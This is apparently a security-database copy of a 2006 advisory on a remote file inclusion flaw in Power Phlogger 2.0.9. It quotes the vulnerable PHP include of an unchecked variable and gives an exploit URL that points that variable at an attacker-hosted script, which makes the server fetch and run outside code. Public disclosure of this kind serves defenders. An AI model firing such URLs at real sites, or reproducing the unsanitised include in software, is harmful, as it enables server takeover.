Description
#################################
# Power Phlogger 2.0.9 - #
#################################
#Class: Remote|Local File Include Vulnerability
# Remote: Yes
# Local: No
# Type: High
# Site: http://www.comscripts.com/scripts/php.power-phlogger.211.html #
# Author: x_w0x
# Contact: x_w0x@hotmail.com
###################################
#Vuln Code
(config.inc.php3):
<?php
include $rel_path."functions.php3";//nothing here
?>
#
http://victim.com/[Power Phlogger 2.0.9]/config.inc.php3?rel_path=http://DarknesseScript.txt
#Gr££tz:makoki, azzcoder,xoron,osm@n
#Speciale gr££tz: str0ke, and elite-team
# milw0rm.com [2006-10-19]
{"id": "SECURITYVULNS:DOC:14804", "bulletinFamily": "software", "title": "Power Phlogger 2.0.9 Remote|Local File Include Vulnerability", "description": "#################################\r\n# Power Phlogger 2.0.9 - #\r\n#################################\r\n#Class: Remote|Local File Include Vulnerability\r\n# Remote: Yes\r\n# Local: No\r\n# Type: High\r\n# Site: http://www.comscripts.com/scripts/php.power-phlogger.211.html #\r\n# Author: x_w0x\r\n# Contact: x_w0x@hotmail.com\r\n###################################\r\n#Vuln Code\r\n(config.inc.php3):\r\n<?php\r\ninclude $rel_path."functions.php3";//nothing here\r\n?>\r\n\r\n#\r\nhttp://victim.com/[Power Phlogger 2.0.9]/config.inc.php3?rel_path=http://DarknesseScript.txt\r\n\r\n\r\n#Gr££tz:makoki, azzcoder,xoron,osm@n\r\n#Speciale gr££tz: str0ke, and elite-team\r\n\r\n# milw0rm.com [2006-10-19]\r\n\r\n", "published": "2006-10-23T00:00:00", "modified": "2006-10-23T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:14804", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:19", "edition": 1, "viewCount": 87, "enchantments": {"score": {"value": 1.0, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:6742"]}], "rev": 4}, "backreferences": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:6742"]}]}, "exploitation": null, "vulnersScore": 1.0}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645442364, "score": 1659803227}, "_internal": {"score_hash": "f1c70e22f011d942e244e0f9a434cf1d"}}
{}
Power Phlogger 2.0.9 Remote|Local File Include Vulnerability